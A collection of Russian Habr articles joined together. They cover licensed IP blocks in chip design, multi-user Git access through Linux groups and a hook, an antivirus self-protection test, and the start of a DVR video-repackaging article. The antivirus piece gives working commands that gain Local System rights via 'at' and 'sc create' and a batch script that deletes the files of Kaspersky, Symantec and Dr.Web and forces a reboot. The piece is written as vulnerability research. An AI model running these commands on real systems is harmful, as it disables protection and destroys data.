Для нашей сферической системы на кристалле потребуются verification IP для интерфейса CAN, для шин внутри процессора (например APB и AHB в случае с использованием ARM) и что-нибудь еще по мелочи. Тестовое окружение для аналоговых блоков и процессорного ядра, скорее всего, будет идти с ними в комплекте, а для всей системы целиком тесты придется писать самостоятельно.
#### А что мы?
Тут мы плавно подходим к вопросу, а в чем, собственно, состоит наша работа, если все блоки для системы были куплены? Давайте загибать пальцы.
Задачи по разработке следующие:
* Собрать полную схему устройства, проверить его работоспособность (с привлечением сторонних verification IP и их самостоятельно написанных аналогов).
* Опционально — прототипировать и отладить ключевые цифровые части в ПЛИС.
* Собрать план расположения блоков на кристалле (это не такая тривиальная задача, как может показаться).
* Синтезировать все Soft IP под нужный техпроцесс, проверить их работоспособность.
* Собрать и отладить топологию микросхемы с учетом длинных соединений между блоками, возможной просадки напряжения на шинах питания, согласования длины линий в многоканальных шинах и еще множества разнообразных факторов.
* Экстрагировать паразитные параметры из топологии, проверить работоспособность устройства еще раз, переработать критические пути распространения сигналов.
* Произвести окончательные проверки соответствия топологии и электрической схемы, а также топологии и правил проектирования выбранной технологии.
* Исправить косяки топологии, которые найдет приемка на фабрике (а она найдет).
В комментариях к [недавней статье про печатные платы](https://habr.com/post/414141) развернулась довольно интересная дискуссия об автотрассировщиках топологии и о том, когда разумно их использовать, а когда нет (применительно к любительским и профессиональным проектам). В качестве примера проекта, ради которого стоит потратить значительное количество человеко-часов на настройку автотрассировщика, привели «плату с парой-тройкой BGA по 400-700 выводов и несколькими сотнями других компонентов». А теперь представьте, что у вас имеется десяток Hard IP-блоков с 400-700 выводов, и еще, скажем, миллион других компонентов по 4-8 выводов (логика, из которой состоят блоки Soft IP). Большая ли это работа — собрать такую топологию из уже готовых блоков? Примерно такая же, как собрать печатную плату с уже готовыми микросхемами. И ведь никто не пеняет разработчикам печатных плат тем, что они берут уже готовые микросхемы и «всего-навсего» собирают их вместе.
На рисунке — пример окна САПР Synopsys IC Compiler с автоматически сгенерированной небольшой топологией и подсвеченным критическим путем распространения сигнала, который было бы неплохо подправить.
Кроме этого, есть задачи вне разработки — правильная постановка задачи по разработке, организация производства, корпусирования, сертификации, адаптация существующего ПО, разработка отладочных плат и референсных дизайнов, маркетинг наконец.
Микросхему мало разработать, ее надо еще произвести и продать, и одним из ключевых драйверов современного рынка fabless-разработки и продажи IP-блоков стало именно разделение компетенций разработки, производства и продажи микросхем, позволившее представителям всех трех отраслей сконцентрироваться на профильных для них задачах, одновременно превратив конкуренцию в кооперацию и сэкономив огромное количество денег за счет аутсорса непрофильных активностей. Именно поэтому, видя рассказ о том, что в новом отечественном (или “отечественном”) процессоре куплено все, что можно, можете смело понимать: люди, которые его делают, умеют считать и экономить деньги, а если все свое и доморощенное, значит, первым требованием была не экономическая эффективность, а какие-то другие соображения. Возможно, не менее важные, но — другие.
#### И напоследок три небольших бонуса
**Первый бонус: есть ли Open Source?**
В целом рынка/коммьюнити Open Source в полупроводниковой индустрии не сложилось. Скорее всего потому, что из-за высокой стоимости валидации (производства в кремнии и измерения параметров) разработка требует значительных инвестиций, и участие в ней энтузиастов-одиночек практически исключено. А коммерческие компании, разумеется, должны как-то возвращать инвестиции. Впрочем, есть и исключения, о двух из которых я расскажу.
Первое — [Opencores.org](https://opencores.org/)
Этот сайт и коммьюнити существуют уже почти двадцать лет и добились некоторых полезных результатов, наиболее известный из которых — процессорная архитектура OpenRISC, которой довольно активно пользуются энтузиасты и университеты (в основном в FPGA), и по которой даже было запущено несколько коммерческих ASIC (в том числе Samsung). В целом Opencores, к сожалению, не состоялся как двигатель какого-то бизнеса, но там можно найти очень много интересного (например старый лицензионно чистый ARM), если вы любитель и у вас есть FPGA. Примерно три сотни проектов на сайте имеют статус FPGA Proven, и только два десятка — ASIC Proven.
Второе интересное исключение — [RISC-V](https://riscv.org/). Это не первая открытая популярная архитектура (как минимум есть OpenPOWER и OpenSPARC) и не первая, имеющая какую-то поддержку от грандов индустрии, но первая, ставшая открытой с самого начала и при этом благодаря существенной поддержке имеющая с самого начала большой набор прикладного софта (отсутствие которого представляет колоссальную проблему для любого нового проекта).
RISC-V — дитя великого Дэвида Паттерсона, отца MIPS, в котором, он, по его словам, учел весь многолетний опыт индустрии и все сделанные ранее ошибки (ну или просто переименовал пару команд, чтобы обойти патенты MIPS). RISC-V Foundation пользуется поддержкой Google, Samsung, NXP, NVIDIA и нескольких других крупных компаний. С одной стороны, это ничего не значит, потому что все те же лица поддерживают, например, и OpenPOWER, а с другой стороны, индустрия уже пришла к пониманию, что фактическая монополия ARM в долгосрочной перспективе не интересна никому, кроме ARM, а все, кто мог попробовать ее сломать, уже потерпели неудачу (включая игроков уровня Intel). Именно поэтому сейчас действительно удачный момент для развития чего-то нового. Про преимущества и недостатки RISC-V можно много рассуждать ([вот перевод](https://habr.com/post/234047/) рассуждений авторов RISC-V), но давайте это сделает кто-то другой, у меня и так текст уже ни в какие разумные рамки не лезет. Покажу только, пожалуй, [пример большого успеха RISC-V](https://riscv.org/wp-content/uploads/2017/05/Tue1345pm-NVIDIA-Sijstermans.pdf) — замена собственных проприетарных ядер Falcon в новых продуктах NVIDIA.
**Второй бонус: где взять?**
Помимо уже упомянутых OpenCores, разжиться IP-блоками (но уже за деньги) можно во многих других местах. Некоторые из них:
**[TSMC IP Alliance](http://www.tsmc.com/english/dedicatedFoundry/services/ip_alliance.htm)**
Вполне логично, что крупнейшая фабрика мира поддерживает и помогает развиваться поставщикам IP для своих техпроцессов.
**[Design&Reuse](https://www.design-reuse.com/)**
Независимый хаб, содержащий полтора десятка тысяч IP-ядер, а также приличную новостную ленту (и еще у них хорошая почтовая рассылка).
**[ChipEstimate](https://www.chipestimate.com/)**
Примерно то же самое, что D&R, но чуть поменьше и не такое интересное в плане профильных новостей.
**Третий бонус — а что у нас?**
Открытой информации, к сожалению, очень мало в силу специфики российского микроэлектронного рынка, но что-то все же нашлось.
Российские компании разрабатывают собственные процессорные архитектуры — “Эльбрус” (МЦСТ), “КОМДИВ” (НИИСИ РАН), “Кролик” и “Кварк” (КМ211), “Neuromatrix” (НТЦ “Модуль”), участвуют в международном консорциуме RISC-V (Syntacore), лицензируют архитектуры ARM, MIPS, SPARC, MCS96, MCS51, C166, AVR, MSP430.
Что касается других блоков, то в качестве примера приведу цитату с сайта компании [“Цифровые решения”](http://dsol.ru/asic_design/) (орфография сохранена):
> На данный момент в своих проектах были использованы следующие IP-блоки:
>
> Процессорные ядра: процессор с векторным сопроцессором с плавающей точкой ARM Cortex-M4F, процессор ARM Cortex-M0, процессор ARM946E-S c периферией на основе шины AMBA, векторный сопроцессор с плавающей точкой ARM VFP9-S, процессор SPARC v.8 c периферией на основе шины AMBA. Имеется 8-ми битное процессорное ядро RISC архитектуры собственной разработки.
>
>
>
> IP-блоки синтезаторов частоты на основе ФАПЧ (PLL) компаний TSMC, KeyASIC и AnalogBits, однократно программируемая память компаний Sidense и еMemory, конфигурационная память в виде электрически-пережигаемых перемычек (eFuse) компании TSMC, IP-блок часов реального времени со сверхмалым потреблением энергии, генераторы ROM и RAM памяти и т.д.
“Цифровые решения” не являются исключением, зарубежные покупные IP-блоки так или иначе используют все или почти все российские дизайн-центры (да-да, даже самые отечественные из всех отечественных процессоров содержат содержат покупные IP-блоки).
А что с собственной разработкой IP? На сайтах многих компаний висят списки разработанных IP-блоков (вот [“Цифровые решения”](http://dsol.ru/asic_design/ip-cores/), вот [НИИМА “Прогресс”](http://www.mri-progress.ru/products/bis-i-sbis/perechen-tsifro-analogovykh-sf-blokov/), вот [КМ211](http://km211.ru/ru/ctypto)), так что внутренний российский рынок тоже существует. А вот на Design&Reuse и ChipEstimate нашлись только упомянутые выше “Цифровые решения” (с очень кратким портфолио) и белорусские NTLab. Что ж, лиха беда начало. | https://habr.com/ru/post/414215/ | null | ru | null |
# Организация многопользовательского доступа на сервер GIT
При установке и конфигурировании Git-сервера встаёт вопрос об организации доступа нескольких пользователей к нескольким проектам. Я провёл исследование вопроса и нашёл решение, удовлетворяющее всем моим требованиям: простое, безопасное, надёжное.
Мои пожелания таковы:
* каждый пользователь подключается со своим собственным аккаунтом
* над одним проектом может работать несколько пользователей
* один и тот же пользователь может работать над несколькими проектами
* каждый пользователь имеет доступ только в те проекты, над которыми он работает
* должна быть возможность подключения через командую строку, а не только через какой-то веб-интерфейс
Также было бы здорово:
* предоставлять права только для чтения для контролирующих лиц
* удобно администрировать права доступа пользователей в Git
Обзор возможных вариантов доступа на GIT сервер
-----------------------------------------------
Прежде всего, нужно знать, из чего выбирать, поэтому краткий обзор протоколов Git.
* ssh — для доступа к серверу используется специально заведённый аккаунт пользователя.
+ странно, что Git не исключает из рекомендаций использование одного аккаунта для доступа ко всем репозиториям. Это никак не отвечает моим требованиям.
+ можно использовать несколько аккаунтов, но как ограничить доступ пользователя только определёнными директориями?
- Закрытие в домашнюю директорию не подходит, потому что сложно организовать туда доступ на запись для других пользователей
- Использование символических ссылок из домашней директории тоже сложно из-за того что Git не интерпретирует их как ссылки
- Ограничить доступ к интерпретатору, ну можно, но нет полной гарантии, что это будет работать всегда
* Можно вообще подключить для таких пользователей свой интерпретатор команд, но,
+ во 1-х, это уже какое-то сложное решение,
+ а во 2-х, это можно обойти.
Но, может быть, это не является проблемой, что пользователь сможет выполнять любые команды?.. В общем, нельзя исключать этот метод, если придумать, как именно его использовать. Вернёмся к этому способу позже, а пока кратко рассмотрим остальные альтернативы, может быть там будет что-то проще.
* git local протокол может быть использован в сочетании с sshfs, можно использовать несколько пользователей, но по сути, это то же самое, что предыдущий случай
* http — только для чтения
* git — только для чтения
* https — сложно устанавливать, нужно дополнительное программное обеспечение, какая-то панель управления для организации доступа пользователей… выглядит реализуемым, но как-то всё сложно.
Использование протокола ssh для организации многопользовательского доступа к серверу Git
----------------------------------------------------------------------------------------
Вернёмся к протоколу ssh.
Поскольку используется доступ по ssh для git, нужно обеспечить безопасность данных сервера. Пользователь, который подключается по ssh, использует собственный логин на сервере Linux, поэтому он может подключиться через ssh клиент и получить доступ к командной строке сервера.
Полной защиты от получения такого доступа нет.
Но для пользователя не должны быть интересны файлы Linux. Значимая информация хранится только в репозитории git. Поэтому можно не ограничивать доступ через командную строку, но средствами Linux запретить пользователю смотреть проекты, исключая те, в которых он участвует.
Очевидно использовать систему прав доступа Linux.
Как уже говорилось, возможно использование только одного аккаунта для ssh доступа. Такая конфигурация является небезопасной для нескольких пользователей, хотя этот способ и включён в список рекомендуемых git вариантов.
Для реализации приведённых в начале статьи требований, создаётся следующая структура директорий с назначением прав и владельцев:
1) директории проектов
dir1(proj1:proj1,0770)
dir2(proj2:proj2,0770)
dir3(proj3:proj3,0770)
…
где
dir1, dir2, dir3 — директории проектов: проект 1, проект 2, проект 3.
proj1:proj1, proj2:proj2, proj3:proj3 — специально созданные Linux пользователи, которые назначаются владельцами директорий соответствующих проектов.
права на все директории выставляются в 0770 — полный доступ владельца и его группы и полный запрет для всех остальных.
2) аккаунты разработчиков
Разработчик 1: dev1:dev1,proj1,proj2
Разработчик 2: dev2:dev2,proj2,proj3
*Ключевой момент состоит в том, что разработчикам назначается дополнительная группа системного пользователя-владельца соответствующего проекта.* Это делается администратором Linux сервера одной командой.
В этом примере, «Разработчик 1» работает над проектом proj1 и proj2, а «Разработчик 2» работает надо проектами proj2 и proj3.
Если любой из Разработчиков подключится по ssh через командную строку, то его прав будет недостаточно даже на просмотр содержимого директорий проектов, в которых он не участвует. Изменить он это сам никак не может.
Поскольку основа этого принципа — базовая безопасность прав Linux, эта схема является надёжной. Кроме этого, схема очень легко администрируется.
Перейдём к практике.
Создание Git репозиториев на Linux сервере
------------------------------------------
Проверяем.
```
[root@server ~]# cd /var/
[root@server var]# useradd gitowner
[root@server var]# mkdir gitservertest
[root@server var]# chown gitowner:gitowner gitservertest
[root@server var]# adduser proj1
[root@server var]# adduser proj2
[root@server var]# adduser proj3
[root@server var]# adduser dev1
[root@server var]# adduser dev2
[root@server var]# passwd dev1
[root@server var]# passwd dev2
```
надоело вводить руками…
```
[root@server gitservertest]# sed "s/ /\n/g" <<< "proj1 proj2 proj3" | while read u; do mkdir $u; chown $u:$u $u; chmod 0770 $u; done
[root@server gitservertest]# usermod -aG proj1 dev1
[root@server gitservertest]# usermod -aG proj2 dev1
[root@server gitservertest]# usermod -aG proj2 dev2
[root@server gitservertest]# usermod -aG proj3 dev2
```
Убеждаемся, из командной строки невозможно получить доступ к чужим репозиториям и даже посмотреть их содержимое.
```
[dev1@server ~]$ cd /var/gitservertest/proj3
-bash: cd: /var/gitservertest/proj3: Permission denied
[dev1@server ~]$ ls /var/gitservertest/proj3
ls: cannot open directory /var/gitservertest/proj3: Permission denied
```
Совместная работа в Git нескольких разработчиков над одним проектом
-------------------------------------------------------------------
Остаётся один вопрос, если один разработчик вводит новый файл, то остальные разработчики не могут его менять, потому что он сам является его владельцем (например, dev1), а не пользователь-владелец проекта (например, proj1). Поскольку у нас серверный репозиторий, прежде всего, нужно знать, как устроена директория ".git" и создаются ли новые файлы.
### Создание локального Git репозитория и push на Git сервер
Перейдём на клиентскую машину.
```
Microsoft Windows [Version 6.1.7601]
(c) Корпорация Майкрософт (Microsoft Corp.), 2009. Все права защищены.
C:\gittest>git init .
Initialized empty Git repository in C:/gittest/.git/
C:\gittest>echo "test dev1 to proj2" > test1.txt
C:\gittest>git add .
C:\gittest>git status
On branch master
No commits yet
Changes to be committed:
(use "git rm --cached ..." to unstage)
new file: test1.txt
C:\gittest>git commit -am "new test file added"
[master (root-commit) a7ac614] new test file added
1 file changed, 1 insertion(+)
create mode 100644 test1.txt
C:\gittest>git remote add origin "ssh://dev1@10.1.1.11/var/gitservertest/proj2"
C:\gittest>git push origin master
dev1:dev1@10.1.1.11's password:
Counting objects: 3, done.
Writing objects: 100% (3/3), 243 bytes | 243.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0)
To ssh://10.1.1.11/var/gitservertest/proj2
\* [new branch] master -> master
C:\gittest>
```
В это же время на сервере образуются новые файлы, и они принадлежат пользователю который провёл push
```
[dev1@server proj2]$ tree
.
├── 1.txt
├── branches
├── config
├── description
├── HEAD
├── hooks
│ ├── applypatch-msg.sample
│ ├── commit-msg.sample
│ ├── post-update.sample
│ ├── pre-applypatch.sample
│ ├── pre-commit.sample
│ ├── prepare-commit-msg.sample
│ ├── pre-push.sample
│ ├── pre-rebase.sample
│ └── update.sample
├── info
│ └── exclude
├── objects
│ ├── 75
│ │ └── dcd269e04852ce2f683b9eb41ecd6030c8c841
│ ├── a7
│ │ └── ac6148611e69b9a074f59a80f356e1e0c8be67
│ ├── f0
│ │ └── 82ea1186a491cd063925d0c2c4f1c056e32ac3
│ ├── info
│ └── pack
└── refs
├── heads
│ └── master
└── tags
12 directories, 18 files
[dev1@server proj2]$ ls -l objects/75/dcd269e04852ce2f683b9eb41ecd6030c8c841
-r--r--r--. 1 dev1 dev1 54 Jun 20 14:34 objects/75/dcd269e04852ce2f683b9eb41ecd6030c8c841
[dev1@server proj2]$
```
При загрузке изменений на сервер Git создаются дополнительные файлы и директории, и при этом их владельцем действительно является тот пользователь, который делает загрузку. Но тогда и группа этих файлов и директорий также соответствует основной группе этого пользователя, то есть, группа dev1 для пользователя dev1 и группа dev2 для пользователя dev2 (смена основной группы пользователя-разработчика не поможет, поскольку как тогда работать над несколькими проектами?). В таком случае, пользователь dev2 не сможет изменять файлы, созданные пользователем dev1, а это чревато нарушением функциональности.
### Linux chown — изменение владельца файла обычным пользователем
Владелец файла не может изменять его принадлежность. Но он может изменить группу файла, который ему принадлежит, и тогда этот файл может быть доступен для изменения другим пользователям, которые находятся в этой же группе. Это то, что нам нужно.
### Использование Git hook
Рабочей директорией для hook является корневая директория проекта. hook является исполняемым файлом, который выполняется под пользователем, который делает push. зная это, мы можем осуществить задуманное.
```
[dev1@server proj2]$ mv hooks/post-update{.sample,}
[dev1@server proj2]$ sed -i '2,$ s/^/#/' hooks/post-update
[dev1@server proj2]$ cat <<< 'find . -group $(whoami) -exec chgrp proj2 '"'"'{}'"'"' \;' >> hooks/post-update
```
либо просто
```
vi hooks/post-update
```
Вернёмся на клиентскую машину.
```
C:\gittest>echo "dev1 3rd line" >> test1.txt
C:\gittest>git commit -am "3rd from dev1, testing server hook"
[master b045e22] 3rd from dev1, testing server hook
1 file changed, 1 insertion(+)
C:\gittest>git push origin master
dev1:dev1@10.1.1.11's password:
d22c66e..b045e22 master -> master
```
На Git сервере проверяем после коммита работу hook post-update скрипта
```
[dev1@server proj2]$ find . ! -group proj2
```
— пусто, всё нормально.
### Подключение второго разработчика в Git
Сымитируем работу второго разработчика.
На клиенте
```
C:\gittest>git remote remove origin
C:\gittest>git remote add origin "ssh://dev2@10.1.1.11/var/gitservertest/proj2"
C:\gittest>echo "!!! dev2 added this" >> test1.txt
C:\gittest>echo "!!! dev2 wrote" > test2.txt
C:\gittest>git add test2.txt
C:\gittest>git commit -am "dev2 added to test1 and created test2"
[master 55d49a6] dev2 added to test1 and created test2
2 files changed, 2 insertions(+)
create mode 100644 test2.txt
C:\gittest>git push origin master
dev2@10.1.1.11's password:
b045e22..55d49a6 master -> master
```
А в то же самое время, на сервере…
```
[dev1@server proj2]$ find . ! -group proj2
```
— опять пусто, всё работает.
Удаление проекта Git и загрузка проекта из Git сервера
------------------------------------------------------
Ну можно ещё раз убедиться в том, что все изменения сохранились.
```
C:\gittest>rd /S /Q .
Процесс не может получить доступ к файлу, так как этот файл занят другим процессом.
```
— для удаления Git проекта, просто очищаем директорию полностью. Смиримся с выдаваемой ошибкой, поскольку невозможно удалить текущую директорию по этой команде, но нам как раз такое поведение и нужно.
```
C:\gittest>dir
Содержимое папки C:\gittest
21.06.2019 08:43 .
21.06.2019 08:43 ..
C:\gittest>git clone ssh://dev2@10.1.1.11/var/gitservertest/proj2
Cloning into 'proj2'...
dev2@10.1.1.11's password:
C:\gittest>cd proj2
C:\gittest\proj2>dir
Содержимое папки C:\gittest\proj2
21.06.2019 08:46 .
21.06.2019 08:46 ..
21.06.2019 08:46 114 test1.txt
21.06.2019 08:46 19 test2.txt
C:\gittest\proj2>type test1.txt
"test dev1 to proj2"
"dev1 added some omre"
"dev1 3rd line"
"!!! dev2 added this"
C:\gittest\proj2>type test2.txt
"!!! dev2 wrote"
```
Разделение доступа в Git
------------------------
Теперь убедимся, что и через Git второй разработчик не может получить доступ к проекту Proj1, надо которым он не работает.
```
C:\gittest\proj2>git remote remove origin
C:\gittest\proj2>git remote add origin "ssh://dev2@10.1.1.11/var/gitservertest/proj1"
C:\gittest\proj2>git push origin master
dev2@10.1.1.11's password:
fatal: '/var/gitservertest/proj1' does not appear to be a git repository
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
```
Теперь разрешаем доступ
```
[root@server ~]# usermod -aG proj1 dev2
```
и после этого всё работает.
```
C:\gittest\proj2>git push origin master
dev2@10.1.1.11's password:
To ssh://10.1.1.11/var/gitservertest/proj1
* [new branch] master -> master
```
Дополнительные сведения
-----------------------
В добавление, если есть проблема с правами по умолчанию при создании файлов и директорий, в CentOS можно воспользоваться командой
```
setfacl -Rd -m o::5 -m g::7 /var/gitservertest
```
Также а статье вы можете наткнуться на мелкие полезные вещи:
* как в Linux построить дерево каталогов
* как в sed передать диапазон адресов с определённой строки до конца файла, то есть, сделать в sed замену во всех строках кроме первой строки
* Как в Linux find инвертировать условие поиска
* как в Linux shell передать в цикл несколько строк через однострочник
* как в bash экранировать одиночные кавычки
* как в командной строке windows удалить директорию со всем содержимым
* Как с помощью bash mv переименовать файл, не переписывая его заново
Спасибо за внимание. | https://habr.com/ru/post/457056/ | null | ru | null |
# Самозащита антивирусов или режем антивирус без ножа
**Привет всем!**
Недавно мы уже обсудили могущество эвристических технологий современных антивирусов и пришли к мнению, что верить никому нельзя. Даже иногда себе :)
Сегодня мы поговорим о другом спорном моменте антивирусов — самозащите. Некоторые вендоры очень серьёзно относятся к этому моменту, и их продукты выстаивают даже в сложных комплексных случаях активного заражения, эффективно снимая вирусные перехваты, устанавливаясь в систему и даже в последующем удаляя уже изрядно прописавшихся зловредов. Другие считают, что активное заражение — это битва с ветряными мельницами, не приводящая ни к чему путному, а потому — LiveCD, а в ряде случаев и format c:
Отдадим должное обоим оппонентам: безусловно, если есть возможность победить вирусное противостояние — это хорошо. Если только это не приводит к бсодам и загрузке системы на пару-тройку дней. И абсолютно очевидно, что при серьёзном и комплексном заражении зачастую невозможно пробиться через активную массу перехватов, вредоносных процессов на уровне ядра и прочего — а потому часто действительно разумнее провести лечение неактивной системы (с LiveCD или сканируя винчестер на незаражённой машине), ну а в случае разношёрстной файловой инфекции — и задуматься о полной переустановке ОС.
Но не будем предаваться спорам — оставим это для следующей статьи :) Поговорим о простом: о самозащите системы даже на заведомо незаражённой системе. И примем априори:
1) имеется комплексный продукт антивирус+хипс+файервол;
2) система была незаражена, но каким-то образом проник вредоносный код;
3) вредоносный код имеет своим намерением удалить антивирус или повредить его настолько, чтобы обеспечить полную неработоспособность.
Вариант действий будет самым простым — попытка удаления жизненно важных файлов антивируса с правами Local System. Идея такого подхода принадлежит моему хорошему другу Алексею Баранову, который сообщил о ней в закрытых кругах некоторое время назад. Время прошло, будем считать, что вендоры подтянулись — проверим это.
На Windows-системах, работая под администратором (а это, наверное, 80% всех систем) получить права Local System достаточно просто. В голову сразу приходит два способа, хорошо описанные в сети.
**Способ 1. Использование планировщика.**
По умолчанию, на всех Windows-системах работает служба планировщика задач. Эта служба запускает задачи с искомыми правами Local System. Тогда очень просто добавить задание как-то:
`at 11:05 c:\killer.bat`
и kill.bat запустится с правами Local System.
Преимущества очевидны: всё просто и ясно. Недостаток: пользователь может заметить странную новую задачу в планировщике, да и просто в целях безопасности отключить эту службу.
**Способ 1. Создание службы.**
Суть метода заключается в создании службы, её запуске и удалении. При этом всё реализуется в три строчки:
`sc create CmdAsSystem type= own type= interact binPath= "cmd /c start /low /b cmd /c (c:\killer.bat)"
net start CmdAsSystem
sc delete CmdAsSystem`
При этом мало того, что *killer.bat* запустится с приоритетом IDLE, он ещё и будет запущен от имени Local System.
Метод незаметен, никак не проявляет себя.
На момент публикования статьи KIS 2010 оба метода пропускал на уровне хипса, даже не запрашивая никаких разрешений.
Ну а теперь перейдём к самому *killer.bat* (в нашем случае он расположен в корне на диске С, но понятно, что закинуть его можно куда угодно).
Суть этого файла проста: удаляем всё, что принадлежит антивирусу. Так, для Касперского 2010 это будет:
`net stop srservice
erase /F /S /Q "C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2010"
erase /F /S /Q "%windir%\system32\drivers\kl1.sys"
erase /F /S /Q "%windir%\system32\drivers\klif.sys"
erase /F /S /Q "%windir%\system32\drivers\klbg.sys"
erase /F /S /Q "%windir%\system32\drivers\klim5.sys"
erase /F /S /Q "%windir%\system32\drivers\klmd.sys"
erase /F /S /Q "%windir%\system32\drivers\klmouflt.sys"
shutdown -r -f -c "Bye-Bye!!!"`
Для Symantec что-то типа (кто знает точнее — поправьте, сам-то я на Касперском):
`net stop srservice
erase /F /S /Q "C:\Program Files\Symantec"
erase /F /S /Q "C:\Program Files\Norton Internet Security"
shutdown -r -f -c "Bye-Bye!!!"`
Для Доктора Веба:
`net stop srservice
erase /F /S /Q "C:\Program Files\DrWeb"
erase /F /S /Q "%windir%\system32\drivers\dwprot.sys"
erase /F /S /Q "%windir%\system32\drivers\drwebaf.sys"
erase /F /S /Q "%windir%\system32\drivers\DrWebPF.sys"
erase /F /S /Q "%windir%\system32\drivers\spiderg3.sys"
shutdown -r -f -c "Bye-Bye!!!"`
Ну и так далее. В первой строчке идёт останов службы восстановления Windows — так, на всякий случай :)
Понятно, что аналогичный скрипт можно прописать для всех антивирусов — суть изменять пути к жизненно важным файлам.
Итого — что же мы имеем?
1. KIS 2010 получил такой урон, что был убит, и система осталась без защиты. KIS 2011 лишён этой половой слабости — но он же всё ещё бета…
2. NIS потерял несколько файлов, но работоспособность не нарушилась, файлы впоследствии были скачаны и восстановлены при обновлении из Интернет.
3. DrWeb вообще не пострадал, что и ожидалось, принимая во внимание особый упор разработчика на противостояние инфекции. Но не забываем, что [для Веба есть SpiDie](http://www.rootkit.com/blog.php?newsid=1018)…
При этом хипсы указанных продуктов спокойно пропустили оба варианта манипуляций (КИС проверил лично).
**ВЫВОДЫ**
К сожалению, приходится констатировать факт, что некоторые из существующих антивирусных решений имеют ряд уязвимостей, которые могут быть использованы для повреждения защиты и фактически удалению антивируса с компьютера.
Предлагается в комментариях дополнить наблюдения и исследования по другим антивирусным продуктам (желательно с хипс, чтобы оценить и уровень блокировки действий по получению прав Local System). Думаю, что описанные манипуляции понятны и могут быть легко воспроизведены на виртуальных машинах энтузиастов.
**Cheers!**  | https://habr.com/ru/post/98322/ | null | ru | null |
# Разработка конвертера видео из 264 в avi для видеорегистратора QCM-08DL
На самом деле, статья посвящена разработке программы для перепаковки видео DVR из одного контейнера в другой, если это можно назвать конвертацией. Хотя, я всю жизнь считал, что конвертер занимается преобразованием (перекодировкой) формата видео. Данная статья является второй частью моей прошлой публикации, где я в подробностях рассказал про осуществление доступа ко всем видеозаписям видеорегистратора. Но в самом начале публикации я ставил ещё одну задачу: изучить алгоритм, по которому работает штатная программа-перепаковщик 264-avi и создать такую же программу, которая выполняла бы те же операции, но уже не над одним, а над целой группой файлов, причём «одним нажатием».
Поясню ещё раз суть всех вещей простым языком.
Пользователь имеет видеорегистратор, например, популярной модели QCM-08DL. Ему нужна видеозапись за определённую дату и время. Он может её извлечь либо на флешку, либо через web-интерфейс видеорегистратора (DVR) на компьютер. Извлечённый файл с видеозаписью (расширение .264) откроется только в программе-плеере, которая прилагается с DVR. Плеер весьма неудобный. Его ещё можно открыть, в плеере VLC, поставив режим RAW H264 в настройках демультиплексирования (настройки для опытных пользователей). Но при этом нормальному воспроизведению мешают, видимо, блоки аудиопотоков, которые интерпретируются как видео, а звуковое сопровождение отсутствует. А для того, чтобы видео открыть в любом плеере, файл .264 нужно предварительно преобразовать в какой-либо популярный формат, например, avi. Программа для преобразования также прилагается с DVR. Но она также очень неудобная. Когда речь идёт об одном или нескольких файлах, проблем нет. Однако когда ставится задача получить доступ ко всем видеозаписям на жёстком диске, а уж тем более их все преобразовать в популярный формат, штатный инструментарий практически не пригоден.
Задача о доступе ко всем файлам решена. Этому и была посвящена прошлая публикация. Приступим к решению второй задачи. Мне уже давали «дельные советы»: достаточно в имени файла переименовать расширение с «264» на «avi», и всё попрёт, мол, нечего заморачиваться. Но это самая распространённая ошибка любого рядового пользователя, который, как правило, не разбирается в соответствующих вопросах.
В прошлой публикации я уже писал кратко про структуру исходного файла .264. Напомню.
*Основная информация с аудио и видео потоками берёт начало по смещению 65536 байт. Блоки видеопотока начинаются с 8-байтового заголовка «01dcH264» (встречается также «00dcH264»). Следующие за ним 4 байта описывают размер текущего блока видеопотока в байтах. Через 4 байта нулей (00 00 00 00) начинается сам блок видеопотока. Блоки аудиопотоков имеют заголовок «03wb» (хотя, по моим наблюдениям, первый символ заголовка в некоторых случаях был необязательно «0»). После – 12 байт информации, которую я пока не разгадал. А начиная с 17-ого байта – аудиопоток фиксированной длины 160 байт. Какие-либо метки в конце файла отсутствуют.*
Прокомментирую вышесказанное. Всё, что находится до смещения 65536 байт, оказалось неразгаданным и ненужным. Со смещения 65536 байт до первого заголовка потока есть небольшой промежуток, содержимое которого также не разгадано, и, тем более, как было мной проверено, оно не встречается в выходном файле avi после конвертации штатной программой.
Каждый блок видеопотока представляет собой один кадр. Первый символ в заголовке блоков видеопотока необязательно «0». Его назначение я не разгадывал, ибо, как я выяснил, оно не является ключевым в решении поставленной задачи. Второй символ заголовка видеопотока может быть как «1», так и «0». Во втором случае содержание блока видеопотока представляет собой так называемый опорный кадр. А в первом случае содержание блока видеопотока представляет собой закодированный сжатый кадр, который зависит от опорного кадра. Размер содержимого опорного кадра значительно больше размера содержимого сжатого вспомогательного кадра. Период следования опорных кадров, скорее всего, зависит от настроек степени сжатия в DVR. Но в моём случае период следования составил 1 кадр/сек.
Штатная программа для перепаковки видео из контейнера «264» в контейнер «avi» давала разные результаты по поводу частоты кадров. В случае с видео, которые были записаны в режиме высокого разрешения (704\*576) частота кадров составила 20 кадров/сек. А в случае с низким разрешением (352\*288) – 25 кадров/сек. Эту информацию выдаёт утилита «MediaInfo» Она же выдаёт то, что размер видео при любом случае единый: 720\*576, причём размер видеопотока (эта же утилита сообщает) — 704\*576 или 352\*288. Большинство плееров разворачиваются именно под размер видеопотока. Однако встречался мне плеер, который некорректно отображал полуэкранный режим при воспроизведении файла 352\*288. Я хотел исправить этот незначительный недостаток штатного перепаковщика, заглянув в байты содержания видеопотока и вытащив оттуда информацию о размере кадра. Но на скорую руку этого мне сделать не удалось. Вышесказанное продемонстрировано на рисунке ниже.
Теперь по поводу частоты кадров. Как я выяснил, штатный перепаковщик не обращается ни к какому полю заголовка контейнера «264». Он судит о частоте кадров путём подсчёта соотношения количества блоков видео и аудиопотоков. И это значение при расчёте даже не округляется до целого значения, что видно из рисунка выше (обведено зелёным цветом). Как я выяснил, число блоков аудиопотока на единицу времени всегда и везде (в любом файле) фиксированное, а именно 25 блоков в секунду. Если исследовать файл видео с частотой 20 кадров/сек., то опорный кадр (блок) встречается через каждые 19 сжатых кадров, а для случая 25 кадров/сек. – через каждые 24 сжатых кадра.
Продолжим изучать структуру заголовка видеопотока. С первыми восьми байтами мы разобрались: это метка опорного или сжатого кадра плюс ключевое слово «H264». Следующие четыре байта, описывают, как я выяснил, не точный, а приблизительный размер содержимого видеопотока. А штатный перепаковщик перебрасывает полностью все байты этого содержимого, а затем получившийся размер записывает в соответствующие поля avi-контейнера. И это значение отличается от значения, указанного в соответствующем поле исходного .264 файла.
